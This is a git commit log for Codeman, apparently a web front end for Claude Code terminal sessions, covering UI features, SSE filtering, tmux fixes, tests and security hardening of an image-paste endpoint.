2026-05-25 23:28:58 +02:00
arkonandClaude Opus 4.7 08de6667ab chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-19 16:43:23 +02:00
Tenggan ZhangandTeigen d27f8e77f7 feat: add View all in folder modal for Resume Conversation (#94)
Drill into a single project's complete history when the homepage's
3-per-project dedup hides older conversations.

- Backend: /api/history/sessions accepts projectKey/offset/limit;
  single-folder mode bypasses the 50-cap and returns { sessions, total }.
  projectKey is validated against ^[A-Za-z0-9_-]+$ to prevent traversal.
- Frontend: detail panel adds "View all in this folder" button that
  opens a modal listing 20 sessions per page with Show more pagination.
- Modal items reuse _buildHistoryItem with showViewAll:false to avoid
  recursive entry points.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-05-19 16:27:42 +02:00
Tenggan ZhangandTeigen e248cd8bcf fix: drop phantom ended-tab stubs, trust server as source of truth (#93)
Previously the client cached open session tabs in localStorage and resurrected
any that the server no longer knew about as grayed-out "ended" stubs. On
multi-device use (close tab on mobile, open desktop) this left stale phantom
tabs the user had to manually dismiss.

Remove _restoreEndedTabs / _saveTabMetadata, the session._ended branch in
selectSession, the data-ended render attribute, and the matching CSS rule.
Clear the legacy localStorage key on init to purge stale entries.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-05-19 16:19:07 +02:00
Tenggan ZhangandTeigen 73d81afd4d fix: decode project keys with longest-match backtracking (#92)
When two sibling directories share a prefix (e.g. `diary/` and
`diary-app/`), the greedy shortest-match decoder picked the shorter
name and then failed to resolve the remainder, so the homepage Resume
Conversation list showed those workingDirs as $HOME and resume targeted
the wrong folder. Switch to recursive backtracking with longest-join-first
at each segment boundary; require every step to be a real directory.
Keep the greedy path as a fallback for deleted dirs.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-05-19 16:16:46 +02:00
arkon 7884a37c55 chore: version packages 2026-05-19 12:11:44 +02:00
Ark0N ad89a97106 fix(renderer): WebGL longtask fallback hardening (#91)
Closes #89.

- _disposeWebGLObserver() called from both trip path and onContextLoss (fixes the leak)
- Thresholds (200ms/3/30s/5s/7d) hoisted to WEBGL_FALLBACK in constants.js
- Pure evaluateWebGLLongTaskTrip() helper + 9 Playwright tests (test/webgl-fallback.test.ts, port 3166)
2026-05-19 11:43:36 +02:00
arkonandClaude Opus 4.7 0600b7843e docs: add image-input.js to frontend module list in CLAUDE.md
PR #84 added `src/web/public/image-input.js` (clipboard paste + drag-drop)
but the CLAUDE.md frontend module table wasn't updated. Bumps the feature
modules count from 4 to 5.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-19 11:40:35 +02:00
arkonandClaude Opus 4.7 6d896c781e ci: add server boot smoke test
CI was running typecheck + lint + format only, which let plugin
registration regressions reach master — the @fastify/multipart conflict
in #90 crashed the server at startup but passed CI. The boot smoke
spawns the web server on a non-default port, polls /api/status for up
to 30s, and dumps the log on failure (either early exit or no-ready).

Catches: plugin registration conflicts, route registration errors,
import cycles, and any other failure between process start and
app.listen() resolving.

Auto-installs tmux on the runner since createMultiplexer() throws
without it (mux-factory.ts:17). ubuntu-latest already ships tmux, so
the install branch is normally a no-op.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-19 10:41:42 +02:00
arkonandClaude Opus 4.7 930492058b fix(server): remove duplicate multipart parser conflicting with @fastify/multipart
#90 added @fastify/multipart, which registers its own multipart/form-data
content-type parser. Combined with the existing manual no-op parser in
setupRoutes() (originally there so /api/screenshots could read req.raw
directly), this raises "Content type parser 'multipart/form-data' already
present" at server boot and the process exits. CI did not catch it
because ci.yml runs typecheck + lint only.

@fastify/multipart's parser is a no-op marker (sets req[kMultipart] =
true and returns) and leaves the body on req.raw, so the legacy
/api/screenshots handler that reads req.raw directly keeps working
unchanged. The manual parser was redundant the moment the plugin was
registered.

Smoke-tested locally: server boots, /api/sessions/:id/paste-image
returns 200 / 403-CSRF / 415-magic-mismatch / 413-oversize / 429-rate
as designed; /api/screenshots upload still returns 200.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-19 10:37:26 +02:00
aakhter 101cee0cec security(paste-image): harden against 7 findings from PR #84 review (#90)
Hardens `/api/sessions/:id/paste-image` against the seven findings flagged in the dismissed security review on #84. Each commit addresses one finding.

- LOW: Collision-free filenames (`paste-${ts}-${rand4}${ext}`)
- MED: Symlink check on image dir (`lstat` + non-recursive mkdir + `O_EXCL|O_NOFOLLOW`)
- MED: Magic-byte validation (PNG/JPEG/GIF/WebP/BMP)
- HIGH: CSRF protection (Origin/Referer match req.host; non-browser clients send `X-Codeman-CSRF`)
- MED: Swap hand-rolled multipart parser to @fastify/multipart with `limits: { fileSize: 10MB, files: 1, fields: 4 }`
- MED: Rate limit (30/min per IP+session) + hourly GC of `paste-*` files older than 7d
- LOW: Use `terminal.paste(text)` instead of `sendInput(text)` so bracketed-paste markers survive

Co-authored-by: Aamer Akhter <aakhter@gmail.com>
2026-05-19 10:36:05 +02:00
arkon 7752325c90 chore: version packages 2026-05-17 06:06:42 +02:00
arkonandClaude Opus 4.7 6b284598cf security(sse): validate clientId shape and cap subscribe payload
Constrains the per-client SSE identifier introduced in #86 to
`[A-Za-z0-9_-]{8,64}` at both ingress points (`GET /api/events`
query and `POST /api/events/subscribe` body). Without this, an
authenticated attacker could:
  - Send a victim's clientId to silently evict their tab from
    sseClients (DoS — socket stays open, broadcasts stop).
  - Mutate any clientId's session filter, blackholing that tab's
    terminal stream.
  - Grow sseClientsById without bound via long IDs.

Also caps the subscribe payload to 64 session entries of ≤128 chars
each, since the previous handler accepted arbitrary-length arrays.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-17 06:04:33 +02:00
94bcf524a2 feat: image paste (Ctrl+V) and drag-and-drop into terminal (#84)
* feat: add image paste and drag-and-drop support

Clipboard paste (Ctrl+V) and drag-and-drop of image files into the
terminal. Images are saved to {workdir}/.claude-images/ and the
absolute path is inserted into the terminal input for Claude to read.

- POST /api/sessions/:id/paste-image endpoint (hand-parsed multipart)
- image-input.js mixin with paste trap technique (works on HTTP)
- Ctrl+V intercepted at xterm keyboard level, routes through hidden
  contenteditable div to capture both image and text clipboard data
- Drag-and-drop on terminal container with visual overlay
- Session cleanup deletes .claude-images/ on destroy

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* security: remove SVG from paste-image allowlist

Drops .svg / image/svg+xml from the paste-image endpoint. SVGs are
served as image/svg+xml via /api/sessions/:id/file-raw, same-origin,
under a CSP that permits inline scripts — which would execute on view.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: arkon <arkon.85@hotmail.com>
2026-05-17 05:57:07 +02:00
98966def03 feat(sse): per-client live subscription filter (#86)
* feat(sse): per-client live subscription filter

Lets a connected client narrow its SSE stream to a single session
without forcing an EventSource reconnect. With many open sessions
(N tabs in the UI, all generating output), this cuts terminal-event
SSE traffic by roughly Nx — we only send the actively-rendered
session's bytes instead of all of them.

The existing ?sessions= query filter only worked at connect time;
narrowing or widening it required tearing down the EventSource and
losing in-flight messages. That was acceptable when filters were set
once at page load, but the UI now flips active sessions on every
tab switch.

How it works
============

- Client generates a stable per-page UUID (`_clientId`) once at
  CodemanApp construction and includes it on the SSE URL:
    GET /api/events?clientId=<uuid>&sessions=<active-id>
- Server records a `clientId -> reply` mapping in addition to the
  existing `reply -> sessionFilter` map.
- New endpoint:
    POST /api/events/subscribe { clientId, sessions: string[] | null }
  updates the in-memory filter for the matching reply. 204 on success,
  404 if the client isn't known yet (race on first selectSession after
  reconnect — the next reconnect carries the filter via the URL).
- On every selectSession the client fires a fire-and-forget POST. No
  reconnect, no re-init, no replay buffer needed.

Behavioural change to broadcast()
=================================

The per-event session filter is removed from `broadcast()`. Previously
that path filtered lifecycle/metadata events (`session:created`,
`session:updated`, `ralph:*`, `hook:*`) by extracting a `sessionId` from
the payload. With per-client narrow filters, that meant a client
subscribed to session A would never see session:created for B and the
sidebar would silently de-sync.

The new contract:
- **Lifecycle/metadata events** (low-volume, UI-correctness critical)
  broadcast to all clients regardless of filter.
- **Terminal events** (high-volume, the actual reason for filtering)
  apply the filter in `flushSessionTerminalBatch` (already there;
  unchanged).

`extractSessionId()` was only used by the old broadcast() filter and
has been removed.

Files
=====

- src/web/sse-stream-manager.ts (+34/-29): add `sseClientsById`,
  optional `clientId` arg to addClient/removeClient cleanup, new
  `updateClientFilter()`, and the broadcast() change above.
- src/web/server.ts (+22/-3): parse `clientId` on /api/events, pass
  to `addClient`, register POST /api/events/subscribe handler.
- src/web/public/app.js (+41/-1): generate `_clientId`, build the
  EventSource URL with both clientId + active session, add
  `_updateSseSubscription()`, call it on selectSession.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* test(sse): update operation-lightspeed to match broadcast-all contract

Lifecycle events (session:*, case:*) now reach every connected SSE
client; only session:terminal is gated by the per-client filter.
Updates the four assertions in operation-lightspeed.test.ts that
encoded the old "filter applies to all events" contract.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: arkon <arkon.85@hotmail.com>
2026-05-17 05:56:53 +02:00
aakhterandClaude Opus 4.6 e87b03b6c2 fix(renderer): WebGL longtask auto-fallback to canvas renderer (#83)
The xterm WebGL renderer can stall the main thread for hundreds of ms
under GPU pressure (driver hiccup, integrated-GPU memory pressure,
hardware-accelerated browser layers contending for the GPU). Symptom:
the page becomes intermittently unresponsive and Chrome eventually
shows the "Page Unresponsive" dialog. Today the only mitigation is
?nowebgl, which the user has to remember and re-apply on every load.

This patch installs a PerformanceObserver after WebGL init that
watches for sustained main-thread stalls and falls back to the DOM
renderer automatically:

- Threshold: 3 long tasks of >=200ms each within a 30-second window.
- 5-second grace period after init skips the noisy initial-load
  stalls so a slow first paint does not trip the guard.
- On trigger: dispose the WebGL addon, write a sticky disable to
  localStorage with a reason and timestamp, and refresh the terminal
  so the canvas renderer takes over without a page reload.
- Subsequent loads honor the sticky disable for 7 days, then auto-
  expire so users retry after a driver/Chrome update.
- Force re-enable any time with ?webgl=force (also clears the
  sticky entry).
- Existing ?nowebgl behaviour is unchanged.
- The same disable path is reused by the existing onContextLoss
  callback so a hard context loss also persists across reloads.

Files:
- src/web/public/app.js: _initWebGL onContextLoss now persists +
  schedules the watchdog; new _installWebGLLongTaskGuard and
  _disableWebGLSticky helpers.
- src/web/public/terminal-ui.js: WebGL init checks the sticky entry
  with 7-day expiry, honors ?webgl=force, threads sticky into
  skipWebGL alongside the existing mobile + ?nowebgl gates.

PerformanceObserver longtask is widely supported (Chromium, Edge);
the try/catch around .observe() makes Firefox/Safari (which lack the
longtask entry type) silently no-op and just keep WebGL.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-05-17 05:56:30 +02:00
aakhterandClaude Opus 4.6 edd494ec5f fix(client): multi-primitive yield for write pacing (#85)
When the data-pacing path (chunkedTerminalWrite + deferred path of
flushPendingWrites) schedules its next chunk via requestAnimationFrame
alone, terminal output stalls indefinitely if rAF is starved. Three
real-world scenarios reproduce this in Chromium:

1. Window is occluded (fully covered by another window, or on a
   monitor that has gone to sleep). rAF drops to ~0Hz.
2. Tab is idle-throttled (no user interaction for ~5 min). Chromium
   intensive-throttling clamps setTimeout to 1Hz too.
3. Tab is in a background window. Both rAF and setTimeout slow to a
   crawl.

Replace the rAF-only scheduling with a _safeYield helper that races
three primitives in parallel:

- requestAnimationFrame (primary, fires at compositor rate).
- setTimeout(50) (fallback for visible-but-occluded windows).
- Worker postMessage tick (fallback for idle-throttled and
  background tabs; Workers are not subject to main-thread throttling
  — this is the React Scheduler trick).

The first one to fire wins via a `done` guard; the others become
no-ops. The Worker is built lazily on first call (4 lines of inline
JS via Blob URL); if Worker construction throws we silently fall
back to the other two primitives.

Replaces 6 requestAnimationFrame callsites that participate in data
pacing:
- 3 flushPendingWrites scheduling sites (live + deferred paths).
- 3 chunkedTerminalWrite sites (initial chunk, next-chunk loop,
  final finish-callback).

True animation use cases (scroll loop in scrollToBottom, fit-addon
reflow) stay on plain requestAnimationFrame — they are correctly
throttled when the user is not looking, by design.

File: src/web/public/terminal-ui.js (+70/-8).

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-05-17 05:56:09 +02:00
arkon 00721069e1 chore: version packages 2026-05-12 10:25:20 +02:00
arkonandClaude Opus 4.7 453a5383d2 test: cover hostname title (#82) and tmux size-query (#80)
Backfill the two regression gaps flagged on master after the recent
hostname-title and tmux-flicker fixes shipped without server-side
assertions.

* test/server-index-title.test.ts (8 tests) — exercises WebServer's
  index.html templating path: default os.hostname(), --title-hostname
  override, HTML-escape against `<script>`-style breakout, ampersand
  non-double-encoding, exact-once substitution, and byte-identical
  template-tail invariance.

* test/tmux-window-size-query.test.ts (15 tests) — mocks
  child_process.execFileSync and walks the helper through the
  browser-resize-between-attaches happy path, query-then-die race,
  zero/negative/empty/non-numeric output, plus argv-form/timeout
  assertions to lock down the no-shell-interpolation guarantee.

* src/session.ts — extracts the inline 14-line tmux size query into
  a named `queryTmuxWindowSize()` export so the test surface is a
  pure function. Behavior unchanged.

* src/web/public/notification-manager.js — Browser Notification API
  (layer 3) now uses `${this.originalTitle}: ${title}` so OS-level
  desktop pop-ups carry the same `codeman:<host>` prefix that the
  tab title and Web Push payloads already do, finishing the
  hostname plumb-through started in #82.

* CLAUDE.md, README.md — document the dual-CLI env-prefix discipline
  (CLAUDE_CODE_* vs OPENCODE_*), expand the xterm-zerolag-input
  duplication gotcha to mention the published-package side-effect,
  and note that the hostname prefix now applies uniformly to tab
  title, tab-flash, and OS notifications.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 10:23:44 +02:00
arkonandClaude Opus 4.7 e7b95ae579 test(routes): regression coverage for stripInkRedrawBloat
The clustering rewrite of stripInkRedrawBloat() shipped silently inside
the v0.6.7 "chore: version packages" commit (dcc814f). The previous
implementation discarded everything after the first VPA escape — silently
dropping 100KB+ of legitimate streamed response text on every long
Claude turn. The fix landed without any test coverage, so a regression
back to the old shape would be invisible until users noticed missing
conversation history.

Export the function (it's a pure (string)=>string helper) and add 12
tests covering:
  - The early-out paths (empty buffer, no VPAs, fewer than 10 VPAs)
  - Small clusters preserved (< MIN_BLOAT_SIZE = 32KB span)
  - Big clusters collapsed to a single trailing VPA
  - The silent-data-loss bug: response text BETWEEN two big clusters
    is preserved (input >280KB so any "keep just the tail" approach
    would push the response text out of its window — verified locally
    that a simulated old impl fails the assertion)
  - FRAME_GAP boundary on both sides (>8KB splits clusters; <=8KB merges)
  - Mixed small + big in the same buffer
  - Big cluster at end-of-buffer keeps the last frame
  - Idempotency: a second pass is a no-op
  - Realistic 200KB+ input shrinks by an order of magnitude

Total runtime ~12ms.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 10:11:47 +02:00
arkonandClaude Opus 4.7 56c2c29009 feat(push): plumb hostname-aware prefix into Web Push notifications
Closes the Web Push gap left by #82: in-page Notification API and tab
title flash both showed `codeman:<host>` after that PR, but OS-level
notifications dispatched via the service worker — the surface that
matters most when the tab is closed and the user is reading their
system notification center across multiple Codeman instances —
still hardcoded the literal "Codeman" prefix.

Service workers run in an isolated context with no access to
document.title or any in-page state, so the hostname has to ride
along in the push payload itself.

Server (server.ts:sendPushNotifications): emit `hostTitle: this.windowTitle`
in the JSON payload alongside the existing `title` (event-specific text
like "Permission Required"). The two stay separate so the SW can compose
them — the server knows the host, the SW knows the OS context.

Service worker (sw.js): compose `${hostTitle}: ${title}` when both
present, mirroring the in-page Notification format from
notification-manager.js. Fall back to `title || hostTitle || 'Codeman'`
so older servers (which omit hostTitle) keep working — the field is
purely additive on the wire.

Tests (test/push-payload-host-title.test.ts): mock the `web-push` module
via vi.hoisted(), instantiate WebServer without binding a port, stub
the push store with one fake subscription, and verify the JSON payload
shipped to webpush.sendNotification carries the right hostTitle for
both --title-hostname overrides and the os.hostname() default. Also
mirrors the SW's title-composition logic in a small helper so any
future change to the format breaks the test instead of being caught
only by users running multiple Codeman instances.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 10:03:59 +02:00
arkonandClaude Opus 4.7 7beec7194a fix(client): harden inline rename against CJK, mid-rename deletion, and double-fire
Three follow-up fixes to the inline rename input introduced in #81:

1. IME composition guard. Pressing Enter to confirm a Chinese pinyin
   candidate (or any IME composition) was committing the half-composed
   text as the session name. Skip the keydown handler when isComposing
   is true or when keyCode is the legacy 229 sentinel that older
   Safari/Edge versions report on the Enter that triggers compositionend.

2. Ghost tab on mid-rename deletion. If a session was deleted via SSE
   while its tab was being renamed, the render-skip flag suppressed
   _renderSessionTabs() and the orphaned <input> stayed on screen until
   blur — at which point the rename PUT 404'd against the dead session.
   Replace the boolean _inlineRenameActive with a _activeRename
   {sessionId, cancel} object so _cleanupSessionData can abort an
   in-flight rename targeting the deleted session, and finishRename
   skips the API call when the session is gone.

3. Stuck-flag risk. Move the settle-once guard into a closure-local
   `settled` boolean so blur / Enter / Escape / external cancel all
   converge to a single idempotent path. Register _activeRename only
   after the input is fully wired so a throw earlier in setup can't
   strand state.

Adds test/inline-rename.test.ts with 7 Playwright tests that drive
startInlineRename via page.evaluate() against a stubbed session and
synthetic .tab-name node — no real PTY/tmux needed, runs in ~1.3s.

Also fixes test/mobile/helpers/server.ts which imported the WebServer
via a path one directory short of the repo root, breaking the entire
mobile test suite under the main vitest config.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 09:57:08 +02:00
arkonandClaude Opus 4.7 dcc814f40c chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 09:18:14 +02:00
aakhterandClaude Opus 4.6 b7e94e7068 feat: hostname-aware window title (#82)
Set the browser tab title to codeman:${hostname} instead of the bare
"Codeman" literal. Useful for users running multiple Codeman instances
across hosts (laptop, dev box, NAS) — the OS hostname disambiguates
which tab points at which backend.

Implementation:

- src/cli.ts: new --title-hostname <hostname> flag overrides the
  detected hostname (handy for cosmetic naming or when os.hostname()
  returns something noisy).
- src/web/server.ts: WebServer now accepts an optional titleHostname
  constructor arg (defaults to os.hostname()), composes
  windowTitle = codeman:${titleHostname}, and serves / and
  /index.html by templating that title into the cached index.html
  template (with HTML escaping of the title text).
- src/web/public/notification-manager.js: title-flash logic now uses
  this.originalTitle instead of the hardcoded "Codeman" literal, so
  the tab flash respects the per-host title.
- scripts/browser-comparison.mjs + test/file-link-click.test.ts:
  expectations updated from === "Codeman" to a startsWith("codeman:")
  predicate so they pass regardless of host.

The new index.html templating is intentionally narrow — it only
substitutes the <title> tag and continues to serve everything else
from the static template. No JS-side title injection, so it works
without JavaScript and shows the correct title from the very first
paint.

Note: test/file-link-click.test.ts shows ~49 prettier-reformat lines
that are not part of the feature — they are pre-existing prettier
debt that the pre-commit hook required me to clear. The single
behavioral change is the browserAvailable line.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-05-12 09:11:33 +02:00
aakhterandClaude Opus 4.6 eade261763 fix(client): preserve inline rename input across tab re-renders (#81)
When the inline session-rename input is open, any incoming SSE event
that triggers renderSessionTabs() (a sibling session updating, a hook
firing, a status change) destroys the input element mid-keystroke and
the user loses what they were typing.

Add a _inlineRenameActive flag that:
- guards the two render paths (renderSessionTabs and
  _fullRenderSessionTabs) so they bail out early while a rename is
  in progress;
- is set true when the inline input mounts (session-ui.js);
- is cleared in finishRename, which then explicitly calls
  renderSessionTabs to restore the normal tab structure.

Also add a re-entrance guard at the top of finishRename so the blur
event and the Enter keydown do not both fire it (was a latent
double-call).

Drive-by: replace tabName.innerHTML = "" with explicit child removal.
The preceding textContent = "" already clears the element; this avoids
an innerHTML write on a node that takes user-supplied content on the
next line.

Follow-up to the inline-rename feature cherry-picked from #60.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-05-12 09:10:34 +02:00
arkonandClaude Opus 4.7 41a82fcf02 chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-11 22:41:11 +02:00
aakhterandClaude Opus 4.6 eecf74c001 fix: prevent tmux flicker on restart by matching existing window size (#80)
When a PTY client re-attaches to an existing tmux session, it currently
hardcodes the PTY size to 120x40 and tmux resizes the window to match.
The xterm.js client then resizes back to its actual viewport on the
next render tick, so every restart causes a visible flicker and loses
one repaint of buffer content.

Also remove the hardcoded `-x 120 -y 40` from `tmux new-session` so
initial size adapts to the first client.

Changes:
- session.ts: query existing window size via `tmux display -p
  #{window_width} #{window_height}` before pty.spawn, fall back to
  120x40 only if tmux is unreachable.
- tmux-manager.ts: drop -x/-y from new-session args.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-05-11 22:32:17 +02:00
arkonandClaude Opus 4.7 23b4dfcd82 chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 03:23:34 +02:00
arkonandClaude Opus 4.7 e017b275fe chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 13:16:05 +02:00
arkonandClaude Opus 4.7 e8a809ea80 chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 03:36:56 +02:00
Ark0NandClaude Opus 4.7 8006cc5db3 fix: allowlist opusContext1mEnabled in SettingsUpdateSchema (#78)
Same root cause as the thinkingEffort fix in #73: the schema is
.strict(), so unknown keys in PUT /api/settings are rejected with
INVALID_INPUT and the toggle never persists. Verified live:
pre-fix returned {"errorCode":"INVALID_INPUT"}, post-fix accepts.

The frontend has been reading and writing this key for a while
(settings-ui.js:336, :1137; session-ui.js:331), so saves were
silently failing — users never noticed because the load path
falls back to false on missing keys.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 03:29:48 +02:00
arkonandClaude Opus 4.7 0ded279b55 chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 03:25:53 +02:00
Tenggan ZhangandTeigen aa5724c390 feat: improve Resume Conversation UX on mobile (#77)
Default layout was a single nowrap row with path + date + size, which on
narrow screens truncated both the first prompt and the directory suffix
(where project names actually live). The /Users/ home shorthand was also
never applied on macOS.

Changes:
- Title now uses 2-line clamp so more of the first prompt is visible.
- Subtitle resolves workingDir against known cases: exact match shows
  "#caseName", subpath shows "#caseName/sub", otherwise falls back to
  basename. Case labels are styled distinctly.
- Normalize both /home/<user>/ and /Users/<user>/ prefixes to "~/".
- Each history item gets a "..." toggle that expands an in-place detail
  panel with the full prompt, full path, timestamp, size, and short
  session id. Collapses back on second click; clicking the card body
  still triggers resume.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-04-28 03:14:56 +02:00
Tenggan ZhangandTeigen f21df2a9fb fix: eye icon follows /clear to the new Claude conversation (#76)
Interactive Claude CLI never emits session_id on stdout, so the
Session's _claudeSessionId stayed pinned to the pre-/clear jsonl and
the last-response viewer kept showing the old conversation.

Two complementary update paths:

- Session.adoptClaudeSessionId() — public setter mirroring the existing
  no-op-if-same guard. Called from POST /api/hook-event when Claude Code
  hooks carry data.session_id (works once hooks are configured).

- /api/sessions/:id/last-response now resolves the active id from
  ~/.claude/history.jsonl before reading the transcript. This is the
  only source-of-truth that does not require hooks, and we intentionally
  don't write hooks into arbitrary user repos.

History scan filters out sessionIds held by other Codeman sessions in
the same cwd, and validates via jsonl mtime to avoid inheriting a dead
prior session's id.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-04-28 03:03:11 +02:00
e549e15cb8 feat(response-viewer): ASCII diagram wrap toggle, mobile code blocks, chrome-stripping fallback (#75)
* fix: restore clear message separation + proper table layout in response viewer

* fix: capture Claude CLI's real session ID + robust ANSI/CLI-chrome stripping in response viewer fallback

Session constructor seeded _claudeSessionId with Codeman's session.id as a
placeholder, and the message-driven update was gated on !_claudeSessionId —
meaning Claude CLI's actual session UUID was never adopted. This broke
/api/sessions/:id/last-response JSONL lookups, silently falling through to
the terminal-buffer path whose ANSI regex missed \x1b[>c / \x1b[>q queries.

- session.ts: update _claudeSessionId whenever a message's session_id differs
  from current (covers placeholder and stale-resume cases)
- app.js: extract _cleanTerminalBuffer with proper CSI regex (param bytes
  0x30-0x3F now covers > ? < =) plus a chrome filter for status bar,
  progress bar, spinner, shell prompt, and hint lines

* fix: wrap regular code blocks on mobile, keep ASCII diagrams rigid with scroll hint

* feat: add per-block wrap toggle on ASCII-diagram code blocks

* fix: wrap by default, pin toggle button outside scroll container

* fix: narrow diagram detection to box-drawing + block elements only

* feat: show last-response viewer eye icon on desktop too

The response viewer button was mobile-only via a display:none default with a
mobile.css override. Flip the default to inline-flex and drop the override so
the eye icon appears in the header on every form factor — desktop users get
the same quick "Last Response" pane as mobile.

* fix(response-viewer): restore HTML sanitizer + fix undefined `src` in _renderMarkdown

- `_renderMarkdown` referenced an undefined `src` (should be `text`),
  causing a ReferenceError on every markdown render. The try/catch
  swallowed it, so the new table-wrap and ASCII-diagram features
  never actually ran — output silently fell through to plain-text.
  app.js is excluded from ESLint, so this wasn't caught at lint time.
- `_sanitizeHtml` was removed when refactoring the response viewer,
  leaving `marked.parse()` output going straight into `innerHTML`
  without sanitization (XSS regression vs. master). Restored the
  helper and re-applied it before any post-processing.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Co-authored-by: arkon <arkon.85@hotmail.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 02:58:42 +02:00
Ark0N d07b59db4e Merge pull request #74 from TeigenZhang/refactor/envoverrides-tmux-export
refactor: pass envOverrides via tmux export instead of disk write
2026-04-28 02:45:11 +02:00
arkonandClaude Opus 4.7 a5a7e0c94c Merge master into refactor/envoverrides-tmux-export
Resolved conflict in src/web/public/session-ui.js by keeping this
PR's buildEnvOverrides() helper — it already covers both
CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS (this PR) and
CLAUDE_CODE_EFFORT_LEVEL (added in #73), so the master-side inline
block is fully replaced.

Also fixed test/session-manager.test.ts MockSession to add a
getEnvOverridesForPersist() stub — without it,
SessionManager.updateSessionState's new call breaks 19 tests with
"TypeError: session.getEnvOverridesForPersist is not a function".

Verified: typecheck, lint, format:check, build, and
test/{session-manager,session-state,tmux-manager,tmux-restart-recovery}.test.ts
all pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 02:43:31 +02:00
Ark0N 79d7117e6d Merge pull request #73 from TeigenZhang/feat/thinking-effort
feat: thinking effort setting for new sessions (with xhigh/max)
2026-04-28 02:21:57 +02:00
arkonandClaude Opus 4.7 3cf486730b fix: allowlist thinkingEffort in SettingsUpdateSchema
Without this, PUT /api/settings rejects the new field with
INVALID_INPUT (schema is .strict()), so the dropdown's value
never persists.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 02:20:11 +02:00
Tenggan Zhang 996b096849 fix: prevent vertical scroll on mobile keyboard accessory bar (#72)
Thank you @TeigenZhang for the clean mobile fix!
2026-04-28 02:15:00 +02:00
ffa7fcf839 fix(tmux-manager): use '|' separator in reconcileSessions (#71)
* fix(tmux-manager): use '|' separator in reconcileSessions

Under non-tty execution contexts (launchd on macOS, systemd without TTY),
tmux emits '\t' in FORMAT strings as the literal two characters `\` + `t`
rather than as a tab. The parser's `line.indexOf('\t')` (a real tab char)
therefore never matches, `activeSessions` stays empty, `reconcileSessions`
returns `alive: []` / `discovered: []`, and `cleanupStaleSessions()` wipes
every entry in `state.json` — even though the underlying tmux sessions are
still alive. On the next startup the user sees an empty session list.

The bug reproduces reliably when codeman is launched via a user LaunchAgent
or a systemd unit without `TTYPath`. Interactive `npm run dev` hides it
because tmux's format parser does interpret `\t` when stdout is a TTY.

Fix: use `|` as the separator. tmux passes it through verbatim in every
environment, and `|` is not a valid tmux session-name character so it
cannot collide with the codeman-<uuid> / claudeman-<uuid> naming scheme.

* test(tmux-manager): cover parsePaneList separator contract

Extract the inline pane-list parser from `reconcileSessions` into an
exported `parsePaneList()` helper plus `PANE_LIST_SEP` / `PANE_LIST_FORMAT`
constants, so the '|' separator contract can be unit-tested directly.

The new tests lock in:
- Well-formed parsing into name -> pid Map
- Empty / blank-line / missing-separator handling
- Non-numeric pid and empty-name rejection
- A literal `\t` (backslash + t) in the input is NOT treated as a
  delimiter — guards against the launchd/systemd regression that
  motivated PR #71.
- Splitting on the first separator only.

No behavior change in `reconcileSessions`; the body now delegates to the
helper.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Co-authored-by: arkon <arkon.85@hotmail.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 02:11:11 +02:00
Teigen a1c69f7405 refactor: pass envOverrides via tmux export instead of disk write
CLAUDE_CODE_EFFORT_LEVEL (and any CLAUDE_CODE_* / OPENCODE_* key) now flows:
  UI dropdown → POST /api/sessions { envOverrides }
             → new Session({ envOverrides })
             → this._envOverrides
             → tmux-manager.buildEnvExports appends `export KEY=<shellescape(VALUE)>`

